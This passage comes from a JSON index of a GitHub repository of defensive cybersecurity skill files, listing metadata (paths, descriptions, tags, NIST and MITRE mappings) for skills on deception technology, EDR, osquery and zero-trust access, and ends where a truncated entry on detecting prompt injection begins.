cloud accounts and data stores, when an org has only on-prem honeypots and needs cloud coverage, when seeding fake AWS keys to catch credential theft and code-leak exposure, or when detecting cloud reconnaissance and lateral movement. Keywords: cloud deception, canary token AWS, honey S3 bucket, decoy IAM credentials, CloudTrail alert, GuardDuty, Sentinel honeytoken, decoy secret, honey service account, cloud honeypot, breach detection.","domain":"cybersecurity","subdomain":"deception-technology","tags":["cloud-deception","aws","azure","gcp","canary-token","honeytoken","cloudtrail","breach-detection"],"version":"1.0","author":"andrewibrah","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.CM-06","DE.AE-02","ID.RA-01","RS.MA-01"],"mitre_attack":["T1078","T1552","T1580","T1530","T1619"]},"isInternal":false,"tokens":2642,"sizeBytes":11241},{"name":"template.md","path":"skills/deploying-cloudflare-access-for-zero-trust/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-cloudflare-access-for-zero-trust/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":594,"sizeBytes":2036},{"name":"api-reference.md","path":"skills/deploying-cloudflare-access-for-zero-trust/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-cloudflare-access-for-zero-trust/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":328,"sizeBytes":1390},{"name":"standards.md","path":"skills/deploying-cloudflare-access-for-zero-trust/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-cloudflare-access-for-zero-trust/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":428,"sizeBytes":1913},{"name":"workflows.md","path":"skills/deploying-cloudflare-access-for-zero-trust/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-cloudflare-access-for-zero-trust/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":635,"sizeBytes":2725},{"name":"SKILL.md","path":"skills/deploying-cloudflare-access-for-zero-trust/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-cloudflare-access-for-zero-trust/SKILL.md","title":"deploying-cloudflare-access-for-zero-trust","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloudflare-access-for-zero-trust%2FSKILL.md -->","frontmatter":{"name":"deploying-cloudflare-access-for-zero-trust","description":"Deploys Cloudflare Access with Cloudflare Tunnel for zero trust access to self-hosted apps, configuring identity-aware policies, device posture checks, and WARP client enrollment as a VPN replacement. Use when replacing VPN with Cloudflare One, exposing internal apps without open inbound ports, or securing contractor/third-party access to specific applications.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["cloudflare","cloudflare-access","zero-trust","cloudflare-tunnel","warp","ztna","cloudflare-one"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0051","AML.T0054","AML.T0056"],"nist_ai_rmf":["MEASURE-2.7","MEASURE-2.5","GOVERN-6.1","MAP-5.1"],"nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1133","T1078","T1190","T1021"]},"isInternal":false,"tokens":3848,"sizeBytes":15246},{"name":"api-reference.md","path":"skills/deploying-decoy-files-for-ransomware-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-decoy-files-for-ransomware-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-decoy-files-for-ransomware-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":819,"sizeBytes":3201},{"name":"SKILL.md","path":"skills/deploying-decoy-files-for-ransomware-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-decoy-files-for-ransomware-detection/SKILL.md","title":"deploying-decoy-files-for-ransomware-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-decoy-files-for-ransomware-detection%2FSKILL.md -->","frontmatter":{"name":"deploying-decoy-files-for-ransomware-detection","description":"Deploys canary files (honeytokens) across file systems to detect ransomware encryption activity in real time. Uses strategically placed decoy documents monitored via file integrity monitoring or OS-level watchdogs to trigger alerts when ransomware modifies or encrypts them. Activates for requests involving ransomware canary deployment, honeyfile setup, deception-based ransomware detection, or file integrity monitoring for encryption.\n","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","detection","canary-files","honeytokens","deception","file-integrity"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1486","T1083","T1490","T1485"],"mitre_f3":{"version":"1.1","tactics":["monetization","positioning","stealth"],"techniques":[{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1017.001","name":"Conversion to Physical Monetary Instruments: Cash","tactic":"monetization","source":"f3"},{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"},{"id":"T1070","name":"Indicator Removal","tactic":"stealth","source":"attack"}]}},"isInternal":false,"tokens":1891,"sizeBytes":8303},{"name":"template.md","path":"skills/deploying-edr-agent-with-crowdstrike/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-edr-agent-with-crowdstrike/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":706,"sizeBytes":3006},{"name":"api-reference.md","path":"skills/deploying-edr-agent-with-crowdstrike/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-edr-agent-with-crowdstrike/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":356,"sizeBytes":1458},{"name":"standards.md","path":"skills/deploying-edr-agent-with-crowdstrike/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-edr-agent-with-crowdstrike/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":576,"sizeBytes":2546},{"name":"workflows.md","path":"skills/deploying-edr-agent-with-crowdstrike/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-edr-agent-with-crowdstrike/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":912,"sizeBytes":4539},{"name":"SKILL.md","path":"skills/deploying-edr-agent-with-crowdstrike/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-edr-agent-with-crowdstrike/SKILL.md","title":"deploying-edr-agent-with-crowdstrike","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2FSKILL.md -->","frontmatter":{"name":"deploying-edr-agent-with-crowdstrike","description":"Deploys and configures CrowdStrike Falcon EDR agents across enterprise endpoints to enable real-time threat detection, behavioral analysis, and automated response. Use when onboarding endpoints to EDR coverage, configuring detection policies, or integrating Falcon telemetry with SIEM platforms. Activates for requests involving CrowdStrike deployment, Falcon sensor installation, EDR policy configuration, or endpoint detection and response.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","edr","CrowdStrike","Falcon","threat-detection","sensor-deployment"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1003.001","T1055","T1059.001","T1486","T1071.001"]},"isInternal":false,"tokens":2414,"sizeBytes":9848},{"name":"api-reference.md","path":"skills/deploying-honeytokens-and-canarytokens/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-honeytokens-and-canarytokens/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-honeytokens-and-canarytokens%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":977,"sizeBytes":3632},{"name":"standards.md","path":"skills/deploying-honeytokens-and-canarytokens/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-honeytokens-and-canarytokens/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-honeytokens-and-canarytokens%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":347,"sizeBytes":1534},{"name":"SKILL.md","path":"skills/deploying-honeytokens-and-canarytokens/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-honeytokens-and-canarytokens/SKILL.md","title":"deploying-honeytokens-and-canarytokens","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-honeytokens-and-canarytokens%2FSKILL.md -->","frontmatter":{"name":"deploying-honeytokens-and-canarytokens","description":"Plants Canarytokens-based decoy artifacts (honey credentials, DNS tokens, web-bug URLs, AWS keys, documents, kubeconfigs) using Thinkst's open-source Canarytokens project and alerts via email or webhook when a token is touched. Use for high-fidelity intrusion detection in low-telemetry areas like file shares or credential stores, or to catch credential dumping and data-theft staging.","domain":"cybersecurity","subdomain":"deception-technology","tags":["deception-technology","canarytokens","honeytokens","breach-detection","threat-detection","d3fend","decoy-credentials","intrusion-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1556"]},"isInternal":false,"tokens":3249,"sizeBytes":13030},{"name":"template.md","path":"skills/deploying-osquery-for-endpoint-monitoring/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-osquery-for-endpoint-monitoring/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":143,"sizeBytes":591},{"name":"api-reference.md","path":"skills/deploying-osquery-for-endpoint-monitoring/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-osquery-for-endpoint-monitoring/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":364,"sizeBytes":1430},{"name":"standards.md","path":"skills/deploying-osquery-for-endpoint-monitoring/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-osquery-for-endpoint-monitoring/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":106,"sizeBytes":437},{"name":"workflows.md","path":"skills/deploying-osquery-for-endpoint-monitoring/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-osquery-for-endpoint-monitoring/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":144,"sizeBytes":622},{"name":"SKILL.md","path":"skills/deploying-osquery-for-endpoint-monitoring/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-osquery-for-endpoint-monitoring/SKILL.md","title":"deploying-osquery-for-endpoint-monitoring","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2FSKILL.md -->","frontmatter":{"name":"deploying-osquery-for-endpoint-monitoring","description":"Deploys and configures osquery for real-time endpoint monitoring using SQL-based queries to inspect running processes, open ports, installed software, and system configuration. Use when building visibility into endpoint state, threat hunting across fleet, or implementing compliance monitoring. Activates for requests involving osquery deployment, endpoint visibility, fleet management, or SQL-based endpoint querying.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","osquery","endpoint-monitoring","threat-hunting","fleet-management"],"mitre_attack":["T1547.001","T1053.005","T1543.003","T1057","T1071.001"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"]},"isInternal":false,"tokens":1827,"sizeBytes":7232},{"name":"api-reference.md","path":"skills/deploying-palo-alto-prisma-access-zero-trust/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-palo-alto-prisma-access-zero-trust/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-palo-alto-prisma-access-zero-trust%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":443,"sizeBytes":1786},{"name":"SKILL.md","path":"skills/deploying-palo-alto-prisma-access-zero-trust/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-palo-alto-prisma-access-zero-trust/SKILL.md","title":"deploying-palo-alto-prisma-access-zero-trust","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-palo-alto-prisma-access-zero-trust%2FSKILL.md -->","frontmatter":{"name":"deploying-palo-alto-prisma-access-zero-trust","description":"Deploys Palo Alto Networks Prisma Access for SASE-based zero trust network access, configuring GlobalProtect agents, ZTNA Connectors, security policy enforcement, and Strata Cloud Manager integration for unified management. Use when implementing enterprise-grade SASE with integrated ZTNA/SWG/CASB/FWaaS, replacing both VPN and branch firewalls with cloud-delivered security, or integrating ZTNA with an existing Palo Alto NGFW estate.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["prisma-access","palo-alto","ztna","sase","globalprotect","strata-cloud-manager","zero-trust"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1"],"nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1133","T1078","T1071.001","T1572"]},"isInternal":false,"tokens":2793,"sizeBytes":11195},{"name":"api-reference.md","path":"skills/deploying-ransomware-canary-files/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-ransomware-canary-files/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-ransomware-canary-files%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":735,"sizeBytes":2992},{"name":"SKILL.md","path":"skills/deploying-ransomware-canary-files/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-ransomware-canary-files/SKILL.md","title":"deploying-ransomware-canary-files","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-ransomware-canary-files%2FSKILL.md -->","frontmatter":{"name":"deploying-ransomware-canary-files","description":"Deploys and monitors ransomware canary files using Python's watchdog library, placing decoy files mimicking high-value targets (financial records, credentials, database exports) where ransomware enumerates first, and alerting via email, Slack, or syslog on any read/modify/rename/delete. Use for early-warning ransomware detection on file servers, NAS, or endpoints, or to supplement EDR where agents can't be deployed.","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","canary-files","watchdog","detection","early-warning","deception","defense"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1486","T1083","T1490","T1485"],"mitre_f3":{"version":"1.1","tactics":["monetization"],"techniques":[{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1017","name":"Conversion to Physical Monetary Instruments","tactic":"monetization","source":"f3"},{"id":"F1025.003","name":"Electronic Funds Transfer: Wire Transfer","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":1116,"sizeBytes":4832},{"name":"template.md","path":"skills/deploying-software-defined-perimeter/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-software-defined-perimeter/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":419,"sizeBytes":1512},{"name":"api-reference.md","path":"skills/deploying-software-defined-perimeter/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-software-defined-perimeter/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":445,"sizeBytes":1886},{"name":"standards.md","path":"skills/deploying-software-defined-perimeter/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-software-defined-perimeter/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":642,"sizeBytes":2867},{"name":"workflows.md","path":"skills/deploying-software-defined-perimeter/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-software-defined-perimeter/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1075,"sizeBytes":5201},{"name":"SKILL.md","path":"skills/deploying-software-defined-perimeter/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-software-defined-perimeter/SKILL.md","title":"deploying-software-defined-perimeter","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2FSKILL.md -->","frontmatter":{"name":"deploying-software-defined-perimeter","description":"Deploys a Software-Defined Perimeter per the CSA v2.0 specification, configuring Single Packet Authorization, mutual TLS, and SDP controller/gateway components to enforce zero trust network access. Use when building or hardening zero trust network architecture, implementing SPA-based \"invisible\" infrastructure that cloaks services from unauthenticated scanning, or meeting compliance requirements for zero trust network access.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zero-trust","sdp","software-defined-perimeter","network-access","ztna"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1133","T1078","T1021","T1046","T1190"]},"isInternal":false,"tokens":1676,"sizeBytes":8043},{"name":"template.md","path":"skills/deploying-tailscale-for-zero-trust-vpn/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-tailscale-for-zero-trust-vpn/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":609,"sizeBytes":2377},{"name":"api-reference.md","path":"skills/deploying-tailscale-for-zero-trust-vpn/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-tailscale-for-zero-trust-vpn/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":508,"sizeBytes":1815},{"name":"standards.md","path":"skills/deploying-tailscale-for-zero-trust-vpn/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-tailscale-for-zero-trust-vpn/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":426,"sizeBytes":1986},{"name":"workflows.md","path":"skills/deploying-tailscale-for-zero-trust-vpn/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-tailscale-for-zero-trust-vpn/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":724,"sizeBytes":3334},{"name":"SKILL.md","path":"skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md","title":"deploying-tailscale-for-zero-trust-vpn","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2FSKILL.md -->","frontmatter":{"name":"deploying-tailscale-for-zero-trust-vpn","description":"Deploys and configures Tailscale (or self-hosted Headscale) as a WireGuard-based zero trust mesh VPN, setting up identity-aware ACLs, exit nodes, subnet routers, and MagicDNS for encrypted peer-to-peer connectivity. Use when replacing traditional VPN servers with an identity-authenticated mesh network or enforcing granular per-device access control lists.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zero-trust","tailscale","wireguard","mesh-vpn","ztna","peer-to-peer","acl","identity-aware","headscale"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1133","T1078","T1021","T1572"]},"isInternal":false,"tokens":2936,"sizeBytes":11513},{"name":"template.md","path":"skills/designing-adversary-engagement-with-mitre-engage/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/designing-adversary-engagement-with-mitre-engage/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdesigning-adversary-engagement-with-mitre-engage%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":886,"sizeBytes":3683},{"name":"standards.md","path":"skills/designing-adversary-engagement-with-mitre-engage/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/designing-adversary-engagement-with-mitre-engage/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdesigning-adversary-engagement-with-mitre-engage%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":993,"sizeBytes":4488},{"name":"SKILL.md","path":"skills/designing-adversary-engagement-with-mitre-engage/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/designing-adversary-engagement-with-mitre-engage/SKILL.md","title":"designing-adversary-engagement-with-mitre-engage","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdesigning-adversary-engagement-with-mitre-engage%2FSKILL.md -->","frontmatter":{"name":"designing-adversary-engagement-with-mitre-engage","description":"Plan, run, and measure an adversary engagement operation using the MITRE Engage framework so that deployed deception is driven by strategy instead of deployed ad hoc. Covers the Engage Matrix (Prepare, Expose, Affect, Elicit, Understand), the 10-Step Operational Process, mapping engagement Activities to the ATT&CK techniques they expose, and defining measurable Goals and Operational Objectives. Use when a team has honeypots, honeytokens, or canary tokens but no coordinating strategy, when leadership asks \"should we engage attackers and how\", when building a deception/denial program, when writing an adversary engagement operation plan, or when deciding which deception Activities to deploy against a specific threat actor. Keywords: MITRE Engage, adversary engagement, cyber deception strategy, denial and deception, Engage Matrix, EAC, EGO, Expose Affect Elicit, deception program, honeypot strategy, engagement operation.","domain":"cybersecurity","subdomain":"deception-technology","tags":["mitre-engage","adversary-engagement","deception","denial-and-deception","engage-matrix","cyber-deception","threat-intelligence","detection-engineering"],"version":"1.0","author":"andrewibrah","license":"Apache-2.0","nist_csf":["GV.RM-01","ID.RA-01","ID.IM-02","DE.CM-01","DE.AE-02"],"mitre_attack":["T1078","T1083","T1021","T1552","T1046"]},"isInternal":false,"tokens":2622,"sizeBytes":11862},{"name":"api-reference.md","path":"skills/detecting-ai-model-prompt-injection-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ai-model-prompt-injection-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ai-model-prompt-injection-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1471,"sizeBytes":5791},{"name":"SKILL.md","path":"skills/detecting-ai-model-prompt-injection-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-ai-model-prompt-injection-attacks/SKILL.md","title":"detecting-ai-model-prompt-injection-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ai-model-prompt-injection-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-ai-model-prompt-injection-attacks","description":"Detects prompt injection using regex signature matching, 